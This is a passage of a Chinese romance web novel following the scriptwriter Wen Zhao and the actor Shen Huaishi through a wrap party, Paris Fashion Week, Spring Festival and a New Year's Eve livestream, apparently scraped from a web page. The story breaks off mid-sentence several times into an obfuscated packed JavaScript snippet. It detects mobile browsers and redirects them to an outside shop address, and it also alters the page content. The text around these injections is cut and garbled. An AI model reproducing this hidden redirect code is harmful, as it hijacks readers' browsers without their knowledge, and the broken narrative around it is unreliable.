不知道过了多久,陈序摇摇晃晃地站起来,做了最后的致辞。他的声音有些沙哑,眼眶也有些红,“感谢大家的辛苦付出,预祝我们拍摄顺利早日完工。同样也祝福大家新春快乐,来年更好。” 掌声响起,夹杂着些许感性的唏嘘。 众人纷纷起身,准备散去。包厢里顿时充满了椅腿摩擦地面的声音、衣料的窸窣声、以及更加高涨的、临别前最后的寒暄。 “不去跟他道个别吗?”桑华碰了碰闻朝的手臂,凑近她低声提议。 闻朝隔着攒动的人群看他,他站在那里身姿挺拔,正在和导演说着什么。明明距离不远,可她却觉得跟他隔着一整个银河。 桑华在她耳边小声催促:“去啊,再不去就真没机会了!” 闻朝的手指蜷了蜷,掌心有些潮湿。她终于鼓起勇气,朝他走去。 沈淮时恰好与导演说完话,转过身,似乎正要离开。一抬眼,便看见闻朝站在面前,微微仰着脸看他。 包厢里略显嘈杂的背景音仿佛瞬间被调低了音量,闻朝只听得见自己鼓噪的心跳,一下又一下,沉重而响亮。 “沈老师……”她的声音比想象中要干涩一些,急忙清了清嗓子。 沈淮时停下脚步,目光落在她脸上。他的眼神很温和,带着一丝询问的意味,“嗯?” 就是这一个简单的音节,给了闻朝一点点勇气。 “没什么特别的事……”她开口,语速不自觉地有点快,“就是……就是想跟你说一声,这段日子,跟你合作特别愉快,学到了很多。” 沈淮时微微颔首,唇边的弧度似乎柔和了那很多,“你也很好,很优秀。” 他的肯定像一颗小小的蜜糖,化在闻朝心尖,甜了一下,却更催生了那份不舍。真正想说的话堵在喉咙口,不上不下。 周围的人还在走动,时间不多了。 闻朝又吸了一口气,这次,她抬起眼,直接迎上了沈淮时的目光。他的眼睛很好看,瞳孔的颜色偏深,像深夜的海。 “然后……祝你一切顺利,”她的声音不自觉地放轻了,周遭的道别声、笑语声仿佛成了模糊遥远的背景音乐,“沈淮时,我们……明年见。” 最后三个字,她说得很轻,却很清晰,带着一种小心翼翼的期盼,和孤注一掷的勇气。 说完,她立刻垂下眼帘,浓密的睫毛像蝶翼般轻颤了一下,不敢再看他的反应,掌心又泛起潮湿了。 沈淮时顿了顿,他听懂了这句话背后暗含的隐喻,他沉默了片刻,望着她的眸中闪过一丝复杂。 那长达几秒钟的寂静,在闻朝的等待中被拉得无比漫长。她几乎要后悔自己的唐突了。 然后,她听见他开口,声音不大,却稳稳地穿过细微的嘈杂,落到她耳中。 “好。”他应了一声,依旧是简洁的,但声音低沉而清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车子开始驶向机场,窗外的灯光汇成一条光河。他靠在椅背上,闭上眼睛,疲惫感这才涌上心头。 在候机的时候,他的指尖落在手机边缘上,无意识地轻叩了一下。 VIP候机室很安静,只有轻柔的背景音乐和远程偶尔传来的航班广播。他闭上眼,靠在椅背上,脑海中却浮现了刚才的那一幕: 她紧张地站在自己面前,手指无意识的揪着衣角,脸颊有些红,不知道是因为酒精还是因为紧张。 她说“明年见”。 莽撞、青涩,却带着孤注一掷的真诚。 这么多年他见过太多精心设计的搭讪、含蓄暧昧的暗示、利益交换的邀约。可像她这般近乎笨拙的告别,却是第一次见。 不绕弯子,不找借口,就这么直白地说出来,然后低着头,沉默地等着回应。 明年见。 他在心里无声地重复了这三个字。 19. “赶紧回去休息吧,今天太冷了,注意保暖”…… 闻朝从昏沉的睡意中悠悠转醒,胳膊因为长时间的压迫,传来一阵绵绵的酸麻。 她蹙了蹙眉头,伸出另一只手缓慢地揉捏着,指尖按压的力道透过薄薄的衣料一点点地化开了僵涩的酸麻。 恰在此时机舱里响起了空乘人员温和的播报声,中英法文依次流淌而过,“女生们先生们,本次航班即将到达终点站,巴黎戴高乐机场,请整理好随身物品,做好下机准备。” 闻朝侧头,将视线投向了旁边的舷窗,这才发现不知何时,细细的雨丝顺着玻璃蜿蜒滑落,把窗外的世界遮掩得朦胧迷糊。 什么也瞧不真切,她静静地看了片刻,终究还是收回了目光。 推着行李箱走出机场的时候,外面依旧下着雨。 乱风裹挟着稀碎的雨扑面扑来,沾湿了她的发丝和衣领。在一月,这着实不是一个好的天气。 出租车在暮色和雨幕中穿行了一个多小时,抵达酒店门前的时候,雨却早已悄无声息地停了。空气中弥漫着湿漉漉的清新,混杂着旁边咖啡店飘出的香气。 酒店大厅灯火通明,排队办理入住的人并不少,队伍不算短。人们低语讨论,大部分都是为了即将开幕的时装周而来的。 闻朝并不着急,只是安静地站在队尾排队,目光落在光洁的大理石地面上,发着呆。 突然一阵喧哗和骚动声传来,她下意识抬眸望去,眼神却在触及到被人群簇拥的那道颀长身影的时候,不由得愣了愣神。 身旁有压低了的兴奋女声响起,“快看,那是不是明星?” 下一秒她的手臂被人轻轻碰了碰,一位外国女士凑近,用并不流利的中文问道:“你好,冒昧问一下,那个是你们中国的明星吗?” 闻朝的目光在那道身影上停留了片刻,在听到那位女士询问的时候,才不着痕迹的收回视线。 她只是对那位外国女士极轻地点了点头,喉间溢出了一个短促的音节:“嗯。”她的声音平静无波,仿佛只是确认了一个与自己没有关系的事实。 拿到房卡走进房间之后,她将行李箱搁在了墙角,并没有立即开始收拾,只是褪下了外套,走到落地窗旁边的躺椅坐下。 窗外便是闻名遐迩的香榭丽舍大街。 天色尚早,房间的隔音很好,只能听到自己的呼吸声。她觉得有些无聊,决定出去走走。 巴士晃晃悠悠地载着她穿过巴黎的街巷,最终停在了塞纳河附近。 刚下车的时候,她忽然想到了周杰伦有一首歌《告白气球》是这样唱的:“塞纳河畔,左岸的咖啡,我手一杯,品尝你的美……” 在没有真真切切来到塞纳河畔的之前,她对塞纳河的想象只是局限于歌词里的意象:左岸的咖啡店、花店的娇艳玫瑰、以及带着两人的誓言摇摇晃晃升空的气球。 然而真实的塞纳河畔,在临近傍晚的时候总是热闹而慵懒的。风带来了河水微腥的气息,而一生浪漫的法国人,也总是伴着流浪艺人断断续续的手风琴声,旁若无人地在塞纳河畔拥吻。 不知何时,空中又飘起零星的雨点,起初只是三两滴,但很快便细密地下了起来。 闻朝小跑躲进了岸边的一家咖啡店,口中忍不住嘟囔:“巴黎的天气还真奇怪。” 她找了个靠窗的位置坐下,点了一杯热拿铁。 玻璃窗上很快凝起了一层白蒙蒙的水汽,她用指尖无意识地划开一道,透过那片刻的清晰,望向窗外。 雨下的越来越大了,河畔旁的人们也早早寻了店铺躲了进去, “Puis-jevousaider?”(需要帮忙吗?)一道陌生却温和的男声响起,带着法语特有的柔软腔调。 她下意识回头,一位金发碧眼的侍者站在她身侧,手里还拿着点单的平板,正笑着看着她。 她这才意识到自己对着窗外发了许久的呆,面前的咖啡都快凉了。她抱歉地笑了笑,摇了摇头,“Non,merci.Jeregardejustelapluie.”(不用,谢谢。我只是在看雨。) ------ 时装周场地外围,天空飘起了细细密密的雨丝,风大得吓人,几乎所有人都冻得瑟瑟发抖。 可那片蓝色的区域,大家还是义无反顾地坚持站在这里,手里紧紧攥着蓝色的应援物,目光殷切地望着红毯的方向。 她们在等待那个让她们魂牵梦萦的人。 有不少是在巴黎当地留学的粉丝,当然,也有不远万里特意从国内赶到这里的。 闻朝也在其中,她默默地裹紧身上的外套,又把厚厚的羊绒围巾往上拉了拉,几乎遮住了半张脸,只露出一双沉静的眼睛。 红毯上的仪式已经开始了,远处的闪光灯明明灭灭,偶尔有明星撑着伞从铺的红毯上走过。 她们所站的位置实在不是好位置,甚至有些偏僻,并非红毯的必经之路。 蟹钳草似乎都一个劲地执拗,任凭风吹雨打,依旧凭栏远眺。 “来了来了。”不知是谁低呼了一声,原本寂静的人群瞬间被惊醒,翻起一阵涟漪。 原本不少坐下休息的女孩当即站了起来,高高地举着手里的灯牌、手幅和应援棒。她们用力挥舞着,试图用那一片汇聚在一起的蓝海告诉他:你看,我们在这里,只为你而来。 “沈淮时!沈淮时!”呼喊他名字的应援声穿透了雨幕,在异国他乡的天空下响起,整齐而热烈。 他果然出现了。 隔着一段距离也能让她们看清他今日穿的极为单薄。一身剪裁精良的黑色中山装衬得他身姿如竹,透着一股中式的清隽与贵气。风很大,把他的头发吹得乱蓬蓬的。 闻朝听到身侧有两个女生带着心疼,窃窃私语: “他穿得好薄啊,肯定很冷。” “快点走完流程进去吧,他千万别冻感冒了。” 沈淮时似乎远远地就看见那抹亮眼却执拗的蓝色。他正和几位同行简短寒暄,眸光却时不时飘向那边。 雨下的的确不大,但冷风裹挟着湿冷,有些许难熬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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------ 在回国的前一天,闻朝忽然心血来潮,想去看看巴黎的海。这念头来得突兀,却又异常坚定。 在网上做了攻略之后,她独自搭乘列车,去了北部的港口小城勒阿弗尔。 当她站在堤岸上,恰逢日落时分。深蓝色的海面被橘红色的夕阳掺杂着,界限模糊一片,被渲染成了一幅油墨画。海风很大,带着咸涩的自由气息,卷起了她的长发和衣角。 她静立在那里,一时无言,只是看着那无垠的海天相接处发呆。她忽然想起,那双对望过的眼眸中,可藏着几句未说出口的话语? 她不知道。 她只知道巴黎酸涩的雨、塞纳浪漫的风、场外执拗的蓝,以及这片寂寥的海,随着海鸥悠长的鸣叫声,在她心底缓缓沉淀。 不知过了多久,她才移开脚步,转身,朝着来时的路走去。 20. 愿君千万岁,无岁不逢春 今年的除夕似乎比往年都要热闹,天色还很早,约莫五六点的样子,邻居家就已经响起悉悉簌簌的动静,大家都起来贴门联了。 今天天气很好,没下雪,闻朝窝在柔软的被褥上,将自己埋得严严实实。然而外头喧闹的声音无孔不入,弟弟闻尘拍打她的房门的声音更是清晰。 “姐,快点起来,咱爸喊你贴门联。” “知道了。”她含糊应了一声后,门外的动静才歇。揉了揉眼睛,强迫自己清醒,然后裹上厚厚的棉衣,趿着拖鞋往楼下走。 堂屋里,父亲闻华正在擦拭着柜台,然后换上新的柜布,这会儿看见闻朝揉着眼走了过来。“醒了,把门画拿出来,该裁的给它裁了,让她们三个去贴。” 她点了点头,此刻脑子还在微微犯着困,凭借着多年的经验,将门画裁好分好。这么多年来都是这样,她负责裁门画、分类,弟弟妹妹负责贴门画。 厨房灶台上的食材琳琅满目,母亲闻亭正在准备晚上的年夜饭, 新的一年,大家脸上都是笑容满面的样子。 “爸,胶布呢?”闻玥一边撕着胶布一边往闻尘身上贴着,直到他袖子、后背都沾满长短不一的胶布,才催促他去找闻晗,“去找二姐,她在贴门画。” 农村贴门画大多都是这样:一个人负责撕胶布,一个人负责贴。只是有时候撕的不及时,总会让贴的那个人干等。后来不知道谁想的办法先把胶布撕好,全粘在另一个人的身上。 而闻尘,就是这个家的“行走胶布”。 “你手上不就是吗?”闻华将抹布扔回盆里,搓洗干净后继续擦着。 “快没有了。” 听见小女儿这样说闻华这才抬眼看她, “一会儿我去给你找。” 门画贴完之后闻朝看了看时间还很早,跟爸妈说了一声又钻进被窝里睡觉了,她实在是太困了。 ...... 直到睡前特意设的闹钟响起,闻朝慢悠悠地从被窝里伸出手,左摸摸右摸摸才摸到手机,关掉闹钟,然后在被窝里磨蹭一会儿才起来。 闻亭正坐在椅子上刷着视频放松,一会儿她就要做全家人的年夜饭了,借着空余时间放松下。 余光瞥见闻朝从楼上打着哈欠下来,问她:“咋不继续睡了?还没到饭点。” 闻朝走到洗手间洗了把脸,才回她:“下来帮你做饭。” 闻亭一听这话乐了,侧身看了看外面的太阳,调笑道:“哎呦,大阳打西边出来了?!俺家大妮懂事了?!” 闻朝无语地撇了撇嘴,没理自家母亲的调侃。 “诶,对了,你放假干啥去了?”闻亭抓了把瓜子嗑,问她。 剧组的事不好细说,尤其是涉及沈淮时,闻朝只是简略地回答了一句:“没啥事,就是我写的小说翻拍电影了。” 闻亭知道女儿一直爱写小说,却没当真,只顺着玩笑:“请到沈淮时了?!”末了还补充了一句,“见到他本人了?!” 闻朝用毛巾简单擦了擦手,然后把自己的手机递给她。 “干啥?!”闻亭不明所以地看着她。 “我不仅见到了,我还有他联系方式了,你信不?”闻朝很是淡然地说着。 闻亭张了张嘴,不知道要说些什么,只是白了她一眼,“你还没睡醒吧?!” 闻朝没跟她争论这件事的真假,听到不远处卧室里还传来闻尘看奥特曼打怪兽的喧闹声音。 闻朝抓了把瓜子走进卧室,对着斜靠在床上看电视的闻尘肩膀上就是一巴掌,“还在看电视,寒假作业都写完了吗?!” 不知道为什么,闻朝看着他这悠闲自得的样子都来气。她还在准备论文、准备毕设、准备下本小说的初稿,她还是个苦命的打工人,凭什么他就能这么悠闲?! 闻尘吃痛地揉了揉肩膀,小声辩解道:“今天除夕,咱妈同意我看的……” “行行行,你看吧。” ------ 两个女儿在外地上大学,难得过年团聚。 除夕夜,餐桌上摆得满满当当。 “闻尘,去喊你爷你奶来吃饭。”闻亭做好饭菜后头也不抬对一旁迫不及待的闻尘说。 见闻尘扭扭捏捏不愿意去,一旁帮忙摆碗筷的闻朝瞪了他一眼,他缩了缩脖子,不情不愿地去了,嘴里还小声抱怨着:“就知道喊我去,闻玥在那玩手机咋不让她去……” “砰砰砰——”屋外的礼炮放完之后,一大家子就入座了。 闻朝帮忙倒饮料,闻尘拿了一个超大的杯子,想多要。 闻朝眼皮也不抬,直接略过,见他还坚持不懈,干脆利落的一个“滚”就过去了。 全家人都哈哈大笑,看着闻尘迫于姐姐的“震慑”乖乖地换了个小点的杯子。 “晗晗在新疆还习惯不?”照例,大人们先关照了一下新大学生闻晗。 她年前刚上大学,去了新疆,三千多公里,路途遥远,就没让父母送。 “还行。” 年夜饭一般都不会特别注意食不言寝不语的规矩,一顿饭在你一句我一句的闲聊中热热闹闹吃完了。 小孩子早早就吃完去放炮了,闻华也买了不少小孩子玩的,爷爷也给闻尘拿了很多炮。 冲天炮、大礼花、小蜜蜂、窜天猴、仙女棒、陀螺炮…… 小孩子就爱放这些绚丽有趣的小炮仗。 其实也就是小玩具,危险性不大,每次过年家里都会买些备着,一年也就这一次,索性让小孩子放个尽兴。 …… 闻朝坐在沙发上和爸妈一起看春晚,手机突然震响。 消息来自闺蜜三人群聊“富婆俱乐部”。 宋枝:【宝子们新年快乐啊!你们啥时候有空咱仨聚聚(邪笑)】 闻朝:【我初五就走。】 陆易安:【我随时,反正咱现在过年,没啥事。】 宋枝:【???@闻朝,你干嘛去?】 闻朝:【剧组开工啊就回来过个年,初六就开工了,我初五走。】 闻朝退出群聊,又默不作声地给林温萌发去爽约的消息。 闻朝:【我初五就要走了,聚会的话再定时间吧(心虚)】 对方很快回了消息, 林温萌:【???你干啥?】 闻朝:【emmm……剧组开工,我得去……(心虚)】 见她没回,闻朝连忙保证: 【下次下次,下次一定!】 【我再放你鸽子我是狗(狗头)!】 “富婆俱乐部”又来了消息, 宋枝:【……】 陆易安:【……】 闻朝:【(心虚)】 陆易安:【你必须初五去吗?就不能晚几天?】 宋枝:【就是,你看能不能晚几天。】 闻朝:【好像……不太行】 宋枝:【……】 陆易安:【……】 闻朝忽然转开话题:【你说我要不要给沈淮时打个电话啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【今天是除夕,送你一句祝福吧,】 【愿君千万岁,无岁不逢春。】 消息发出去之后,她的手指停在屏幕上,目光却不由自主地飘向窗外。 手机很快地又震动了一下。 沈淮时:【谢谢,很美的祝福。你也新年快乐!】 短短一行字,闻朝却反反复复地看了好多遍。 她蜷在沙发角落里,手指无意识地摩挲着手机边缘。 就在她发呆的时候,手机突然又震动了。这次是“富婆俱乐部”的群视频邀请。 闻朝接通,宋枝和陆易安的脸挤在屏幕里,她们背后都是热闹绚丽的烟花背景。 “快交代!”宋枝稍微压低了声音,眼睛亮晶晶地闪着八卦的光,“发了没?他回什么了?” 闻朝把手机屏幕对准自己的脸,凑近点小声说:“发了他就回了句新年快乐!” “就这?”陆易安夸张地叹了口气,“沈淮时也太冷淡了吧。” “本来就不该指望什么呀,这样已经很好了。”闻朝笑了笑,她并没有觉得失落。 他说的那句“很美的祝福”已经足够让她反复品味了。 21. “那要怎么办才可以呢?” 除夕这天,重庆下了一场小雪,细细的雪花从午后就开始飘,到傍晚整个城市都已经被笼上了一层薄薄的素白。 巴黎时装周的行程刚一结束,他便连夜踏上了归途。航班穿过晨昏线,终于在除夕的午后降落在重庆。 此刻,沈淮时穿了件浅灰色的毛衣,头发柔软地垂在额前,没做太多造型,看起来比平时自然放松许多。 他刚和家人吃完年夜饭,桌上还摆着没撤下去的碗筷,空气中依旧洋溢着新年的气息。 放在口袋里的手机突然震动了一下,他拿出手机看,是闻朝的消息。可当他刚点开聊天框的时候,却发现对方早已经撤回了。 屏幕上只留下系统提示的灰色小字:“对方撤回了一条消息” 沈淮时微微挑眉,他的手指在屏幕上顿了顿,还是敲了一个问号发了过去。 【你撤回什么了?】 对方几乎是秒回,【没什么,就发错了。】 这个回答在他意料之中,但这简短字句的背后似乎又藏着一点欲言又止的话。 沈淮时看着那几个字,眼前却突然浮现出之前在剧组时关于她的画面:她性格比较安静,总是一个人待在角落里微微低着头,指尖在键盘上敲打。 可当她每次谈论起自己笔下人物时,整个人都在发光。 手机又震动了一下。 闻朝:【今天是除夕,送你一句祝福吧,】 【愿君千万岁,无岁不逢春。】 沈淮时的目光停留在那行诗上,有一瞬间的怔然。 这祝福不同于寻常的“新年快乐”那般直白,它带着一种独属于中式的含蓄与绵长,带着旧诗词里独有的温润气韵。 他的目光落在了最后两个字——逢春。 他看了片刻,指尖轻触屏幕回复:【谢谢,很美的祝福,你也新年快乐!】 窗外,雪似乎下得更密了些。 他走到阳台推开玻璃门,小区院子里有孩童在雪地里奔跑,放着烟花,清脆的笑声穿透了静谧的雪夜。 在雪幕中绽放的烟花似乎要更加的绚丽,沈淮时仰头望着这片盛景,忽然想起许多个他未能归家的除夕,在北京只有自己一个人的公寓,或者是在异国他乡的酒店。窗外的喧闹灯火是别人的,自己只有片刻的寂静。 此时此刻,他脚下是从小生长的家乡的土地,空气也是他自小熟悉的混合着火锅与硝烟。 他忽然很想那些陪了他很多年的粉丝。 晚上十点二十,他回到自己的房间,按下开始直播。 画面跳出来时,他看见在线人数以惊人的速度飙升,弹幕疯狂滚动,速度快到看不清文字。 “大家除夕快乐。”他开口,声音透过麦克风传出去,带着刚回家不久的松弛,却格外温和。 弹幕瞬间爆炸。 【啊啊啊哥哥新年好!】 【失踪人口回归!】 【沈淮时你好狠的心知道我们等了多久吗】 【毛衣好看!这颜色好温柔】 【哥哥吃饭了吗】 沈淮时看着飞快滚动的弹幕,试图捕捉问题,“刚吃过。你们呢?” 【没吃在等你!】 【正在吃火锅看直播好幸福】 【哥哥下次能不能提前预告我要化妆看你】 他轻轻笑了一下,“不用化妆,这样看就行。” 【啊啊啊他笑了】 【截图截图快截图】 【这个笑我能看一百遍】 “今天主要就是跟大家聊聊天,过个除夕。”沈淮时调整了一下坐姿,让自己更放松些,“你们想聊什么?” 弹幕又开始飞速滚动。他眯起眼睛仔细看: 【拍戏累不累】 【新电影什么时候播】 【哥哥新年愿望是什么】 【想要九宫格自拍!】 【上次说好的福利呢】 【想看哥哥撒娇!】 最后这条评论被很多人复制,很快刷了屏。 沈淮时挑眉,“新年福利?” 【对对对!】 【哥哥撒个娇吧求求了】 【新年福利就要这个】 他靠在椅背上,手指无意识地敲了敲桌面。这个动作被眼尖的粉丝捕捉到: 【敲桌子了!他紧张了!】 【哥哥不会害羞了吧】 【想看沈老师撒娇+10086】 沈淮时沉默了几秒,然后抬起眼看向镜头。他的睫毛很长,在灯光下投下浅浅的阴影。 “这样,”他开口,声音比刚才软了一点,“我给你们拜个早年?” 【不行!要撒娇!】 【这不叫撒娇这叫营业】 【沈淮时你是不是不会撒娇】 激将法。 沈淮时看出来了。他又笑了一下,这次笑得有点无奈,语气里带着点商量,“我拍一张自拍可以吧?” 【不行,要九宫格!】 【还要撒娇】 【哥哥说话要算数。】 评论区刷的飞快,全是对他说的拍一张自拍福利的谴责,理直气壮地向他“讨债”。 但是说实话,他确实欠着。 沈淮时抬手揉了揉眉心,这个动作让他看起来有些无奈又有些纵容。 “好吧。”他说,然后清了清嗓子。 评论瞬间静止,所有人都在等。 沈淮时往前倾了倾身子,离镜头更近了些。他的脸在屏幕上放大,皮肤好得连毛孔都看不见,只有眼底淡淡的疲惫。 他看着镜头,像是看着屏幕前每一个等待的人,然后放轻了声音,用一种近乎耳语的音量说:“新年快乐呀……这样行吗?” 尾音微微上扬,带着一点试探,一点妥协,还有一点点几乎察觉不到的、属于沈淮时本人的不自在。 评论区安静了一秒,然后彻底炸了。 【啊啊啊啊啊我死了】 【救命这是什么绝世大可爱】 【沈淮时你居然真的会撒娇】 【录屏了录屏了这段我要每天循环】 【哥哥再说一遍求求了】 沈淮时已经退回了安全距离,耳尖有点红。他端起手边的水杯喝了一口,试图掩饰那点不自然,“可以吗?可以了吧?” 【不够不够!】 【再来一次嘛】 【新年福利不能这么敷衍!】 【还有九宫格自拍呢哥哥】 他摇摇头,眼神里却带着笑意与无奈,“怎么还不可以啊?那要怎么办,才可以呢?” 【九宫格九宫格!一张都不可以少!】 【哥哥宠宠我们吧】 【九宫格自拍+撒娇完整版=完美新年礼物】 沈淮时看着评论,忽然想起什么。他拿出手机,点开相机,对着自己拍了一张。然后举到镜头前晃了晃,“一张。” 【啊啊啊现拍现发吗】 【继续继续】 【要不同角度的!】 他倒也没拒绝,调整了一下姿势,又拍了一张。这次侧着脸,灯光在鼻梁上打出一道漂亮的高光。 “两张。” 接下来几分钟,沈淮时在粉丝的实时指挥下,拍了各种角度的自拍——仰头的,低头的,看镜头的,不看镜头的,笑的,不笑的。拍到第七张时,他停下来,“差不多了吧?” 【还差两张!】 【凑九宫格!】 【哥哥坚持一下】 沈淮时叹了口气,这声叹息透过麦克风传出去,低沉又无奈,却让评论区更兴奋了。他对着镜头,很轻地说了句:“真拿你们没办法。” 然后举起手机,完成了最后两张。 拍完第九张,他放下手机,揉了揉后颈,“好了。明天发微博。” 【现在不能发吗】 【想看新鲜的自拍】 沈淮时看了眼时间,十点五十。 “现在发的话,”他慢条斯理地说,“你们是不是就不看直播了?” 【不会不会!】 【我们边看边存图】 【哥哥你好懂】 他笑着摇摇头,还是点开了微博。选图,编辑,发送。一分钟后,他刷新页面,看到那条新微博下的评论数正在飞速增长。 “发了。”他说。 弹幕里一片“谢谢哥哥”“哥哥真好”,夹杂着各种尖叫和感叹号。 接下来的二十分钟,沈淮时回答了一些关于工作和生活的问题。他说话不快,每个问题都认真思考后再回答,偶尔被粉丝的幽默评论逗笑,眼睛弯起来的样子被无数人截图。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276100|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 十一点十分,已经很晚了。 “最后几分钟了。”沈淮时说,“还有什么想聊的吗?” 评论开始刷新年祝福,也有不少人在表达不舍。 他静静看了一会儿,然后说:“我也祝你们新年快乐。新的一年,要开心,要健康,要做自己喜欢的事。感谢你们又陪了我一年,无论过去的一年怎么样,都希望新的一年大家平安顺遂。” 顿了顿,他补充道:“我也会继续拍好的作品给你们看。” 【哥哥也要开心!】 【注意休息不要太累】 【我们永远支持你】 【明年见!】 最后这三个字出现在评论区时,沈淮时的目光停留了片刻。 明年见。 他想起了另一个人说这三个字时的模样。 “嗯。”他对着镜头,很轻地应了一声,“明年见。” 直播在十一点十五分结束。 屏幕暗下来的瞬间,房间恢复了寂静,只有窗外隐约的烟花声和客厅传来春晚的欢笑声。 沈淮时拿起手机,打开微博。他那条九宫格自拍的微博已经转发过百万,评论里全是粉丝的尖叫和祝福。 他看着那张动图里的自己,微微倾身,眼神柔软,声音放轻。确实和平时不太一样。 沈淮时忽然点开和她的聊天框,最后一条消息依然是他发出的那一句“谢谢,很美的祝福,你也新年快乐!” 他盯着对话框,指尖悬在屏幕,然后又落下。他这一方小天地更加安静。太安静了。和几个小时前在另一个对话框那短暂的等待节奏重合。 她撤回了什么?真的只是发错了吗? 沈淮时垂下眼睑,手机屏幕的光映亮他低垂的睫毛。那两句诗又浮现在眼前。 “愿君千万岁,无岁不逢春。” 他指尖动了动,最终还是点开了输入框。打字的速度比平时慢,删删改改,最后发送出去的却只是一个看似随意的问句:【看春晚了吗?】 发送成功。 他放下手机,身体向后靠进椅背,目光投向窗外被雪光和烟火不时照亮的夜空。 手机震了一下,他几乎是立刻拿起。 闻朝:【嗯,在陪家里人看。】 很平常的回答。但紧接着,下一条消息跳了出来:【你呢?直播结束了?】 沈淮时眉梢微不可察地动了一下。她看了直播?还是只是从微博热搜上知道的? 念头转得很快,回复却只是平常:【刚结束。】 他顿了顿,手指在屏幕上悬停片刻,又加了一句:【重庆下雪了。】 这次对方回复得稍慢了一些。沈淮时能想象出她可能在斟酌用词,或者在应付身边家人的问话,他耐心地等着。 片刻后。 闻朝:【嗯,看到了。热搜上有视频,很漂亮。】 果然是看到了热搜。 沈淮时嘴角弯起一个很淡的弧度,不知道是了然还是别的什么。 他点开相机对着窗外雪夜里晕开的光斑和偶尔升空的烟花,拍了一张。没有刻意构图,甚至因为室内灯光反射,玻璃上还映出了他自己模糊的轮廓。 他点开刚拍的照片看了看,指尖在“发送”上停留了一瞬,最终还是按了下去。 几乎是图片发送成功的同时,新消息提示音响起。 这次闻朝回得很快:【很好看】 还配了个简简单单的【:)】笑脸符号。 沈淮时看着那个符号,手指在键盘上敲下一行字:【新年快乐,闻朝。】 不再是客套的“你也新年快乐”,而是明确地带着她名字的祝福。 发送。 几乎在他消息发出的同一刻,手机屏幕上方的时间数字跳动到了00:00。 电视里传来春晚倒计时结束的欢呼,客厅里家人互相道贺的声音一下子拔高,穿透门板涌了进来。 手机再次在掌心轻轻震动。他低头。 闻朝:【新年快乐,沈淮时。】 【春天见。】 最后三个字,让沈淮时怔住了。 此刻这句“春天见”让他再次想到了那句:无岁不逢春。 他慢慢在对话框里打字,却又一个字一个字地删除,最后只发了一句:【嗯,春天见。】 22. 春天的第一杯奶茶 立春,剧组开工的第一天。 假期抽走了人的身上最后一点懒散。北京城的空气虽然仍然带着寒意,但风的确软了很多,不再像年前那样刮得人脸生疼。 几大卡车的设备也早早在凌晨从重庆运送抵达北京,工人正有条不紊地卸下设备,将其搬入空旷的摄影棚。 沈淮时复工第一天,到片场时比通告单上的时间还早一些。 棚里灯火通明,工作人员忙着布景、调试设备,走动间带起微尘,在灯光下飞舞。 沈淮时没去自己的休息室,先在片场外围慢慢走着,突然脚步停在了一株光秃秃的银杏树下。 北京的行道树大多还沉睡在冬日里,但这棵银杏却极其不易察觉地冒出了几点米粒大小的芽苞。 他微微仰头,看了好一会儿。 “沈老师,早啊!”统筹大姐拎着热气腾腾的包子豆浆走过,嗓门洪亮,“哟,看什么呢这么入神?” 沈淮时收回视线,礼貌地颔首微笑,“早。看春天。” “可不是嘛,今儿立春!”大姐笑呵呵的,“一年之计在于春,好兆头!” 他在那棵树下站了片刻,才转身走进棚内,回到自己的休息室。房间内暖气很足,他脱下羽绒服挂好,坐在沙发里,拿起剧本翻了翻,视线落在那些台词上。 休息室的门并没有关严,留着一道缝隙,隐约脚步声和低语从那缝隙里钻了进来。 然后,他听到了闻朝的声音。很轻,带着一点讨论剧情时特有的专注。 “……‘春天的第一杯奶茶’?”尾音微微上扬,像一片羽毛轻轻扫过。 沈淮时翻动剧本的手指顿住了。 “对啊,微博上都在刷这个梗。”另一个清脆的女声接话,是负责化妆的桑华,语气中透露着明显的雀跃与兴奋,“立春嘛,仪式感。说今天喝到第一杯奶茶,整个春天都会甜滋滋的。” 短暂的停顿,沈淮时几乎能想象出闻朝微微偏头思考的样子。“奶茶……”她的声音里带着一丝很淡的笑意,“甜腻,热量高,确实像春天刚冒头时那种不管不顾的生机。” “就是这个意思!”桑华笑起来,“怎么样,点不点?我请客!就当庆祝咱们‘立春开工大吉’!” “不用破费……”闻朝温和地推辞,语气平静。 “哎呀别客气……”外面的对话还在继续。 但沈淮时已经放下剧本,站起了身。他动作很轻地拉开休息室的门。 走廊上,闻朝和桑华正站在走廊讨论着。沈淮时的出现让两人的交谈暂停了一下。 桑华立刻笑着打招呼,“沈老师!” 闻朝也转过头来,目光与他接触,轻轻点了点头,“沈老师。” 她的眼神依旧清澈平静,看不出除夕夜那几句简短对话和图片交换留下的任何涟漪。 “在聊什么?”沈淮时走过去,语气是惯常的随意,目光却自然地落在闻朝身上。 